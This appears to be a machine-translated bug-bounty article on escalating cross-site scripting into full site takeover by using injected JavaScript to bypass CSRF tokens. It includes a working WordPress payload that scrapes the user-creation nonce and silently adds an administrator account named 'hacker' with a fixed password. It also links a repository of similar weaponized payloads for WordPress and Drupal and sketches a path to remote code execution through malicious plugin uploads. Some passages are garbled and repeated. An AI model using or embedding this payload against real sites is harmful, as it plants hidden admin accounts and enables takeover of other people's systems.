how to upgrade xss vulnerability from medium risk to severe

Before you commit an XSS vulnerability, you should find a way to use it to improve the severity. My report documents some of the current popular platforms, such as WordPress and Drupal's weaponized JavaScript payload. And I'll add more in the next few weeks.

As always, I see every day from Twitter's tweets that XSS vulnerabilities are not doing the most harm. Today is no exception. I don't want to criticize by name. We call the author "Jim". The content of this paper is as follows:

Jim found some unfiltered input points returning to the page at the user input;
Input < script > alert (1) < script > at the input, and the pop-up is successful;

<script>alert(1)</script>

Vulnerability rating is P3 / medium risk;
Get a reward of 300 $;
End.

The target is a very large company, and the XSS vulnerability is in one of their primary sites. The site has a customer login portal and performs many highly sensitive operations. What Jim doesn't know is that as long as he works harder, the vulnerability can be upgraded to one click account hosting, and then he will get a reward of about $5000. Please don't be like Jim.

It's not just Jim's problem. Many penetration testers and vulnerability bounty hunters will not devote themselves to building a fully weaponized XSS payload, because it's time-consuming or too difficult, or even they don't know it can be done at all. At the end of this article, you'll learn about how to weaponize XSS vulnerabilities; you'll also get some XSS payloads that I've crafted to give attackers complete control over popular CMS, such as WordPress and Drupal.

Before we move on to XSS, we need to talk about the CSRF vulnerability. The CSRF vulnerability is that an attacker can induce the victim to click the link on their own browser to perform some sensitive operations with the victim's session. For example, suppose that the URL below is the user's password modification in a web application.

https://www.example.com/profile/update_password?new_password=Welcome1

Of course, it's a bad way to put passwords in get requests, but let's ignore that for now. If there is no CSRF protection in this place, the attacker can send the following link to the victim:

https://www.example.com/profile/update_password?new_password=HACKER

When the victim has passed the authentication at www.example.com, if you click this link, the request to change the password will be sent to the server with the session data of the victim. This will cause the victim's password to be changed to hacker.

www.example.com

CSRF protection

You might think "how to fix this hole.". First of all, such operations should use post request instead, and the actual data should be put in the request body. Because of the same origin policy, post type CSRF is more difficult to use. However, there are still special circumstances.

The most common protection is the use of CSRF token (also known as nonce). The basic premise is that the string is randomly generated and can only be used by the user's browser. Any time a request is sent to perform a sensitive operation, the token is sent together. Then the server will verify whether the token is correct. If it is correct, the request of this form will be executed, otherwise it will be rejected by the server. For more details, you can see: OWASP CSRF prevention cheat sheet.

However, if you find an XSS vulnerability, you can bypass almost all of the current CSRF protection. The only exception is that some forms require some kind of human intervention to submit (as described below).

How to use XSS to bypass CSRF protection

First, XSS vulnerabilities can completely bypass the same origin policy. Requests constructed through XSS, like any other requests from the application, are not blocked.

Secondly, XSS can bypass the use of CSRF token, because the injected JavaScript code can easily retrieve the valid token from the source code of the form, and then send it with a sensitive request. The following example uses this technique.

Case: upgrade XSS in WordPress to obtain all control permissions

Consider the following:

At present, about 30% of sites are built on the Internet using WordPress;

At present, about 30% of sites are built on the Internet using WordPress;

An attacker can use an XSS vulnerability to create a user with administrator privileges in a running WordPress site;

An attacker can use an XSS vulnerability to create a user with administrator privileges in a running WordPress site;

Administrator permission can upload plug-ins in WordPress;

Administrator permission can upload plug-ins in WordPress;

Remote code execution can be realized by uploading malicious plug-ins.

Remote code execution can be realized by uploading malicious plug-ins.

By concatenating the above, you can see how the weaponized XSS can implement remote code execution on WordPress based sites: just one administrator clicks on your payload!

If you want to use tools like wpscan to enumerate user names on WordPress sites, it's dangerous for the site. These account owners' information can usually be searched by Google for the names of website owners and companies, or by LinkedIn.

In addition, most WordPress plug-ins and themes are independently developed and notorious for various vulnerabilities. For example, 14000 can be found here: https://wpvulndb.com/.

I recently encountered such a scenario in a bug bountry project. I found a reflective XSS on a WordPress based site, and full user names with administrative rights can be enumerated through wpscan. I submitted this attack chain on the bug bountry, and finally rated my vulnerability as P1 / critical. Although the core defect is just a reflective XSS, the environment in which the vulnerability is located is very important.

Payload

Along with this article, I published a JavaScript payload project on GitHub: to add a user with administrator rights to WordPress and Drupal's sites. There are only two payloads in it for the time being. Later, I will gradually add more popular platform or framework weaponized JavaScript payloads. You can see here:

https://github.com/hakluke/weaponised-XSS-payloads

As an appetizer, here's an example of JavaScript paylao to create a new user with administrator privileges on WordPress.

/*
Target: Wordpress - tested on 5.1.1 but probably works on other versions
Action: Create a new administrative user with username "hacker", email "[email protected]" and password "AttackerP455"
Context: Must be executed in the context of an administrator user
*/ 

var wp_root = "" // don't add a trailing slash
var req = new xm lHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&[email protected]&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);

XSS protection

Look here.

Hacking Book | Free Online Hacking Learning

CSRF protection

How to use XSS to bypass CSRF protection

Case: upgrade XSS in WordPress to obtain all control permissions

Payload

XSS protection

More content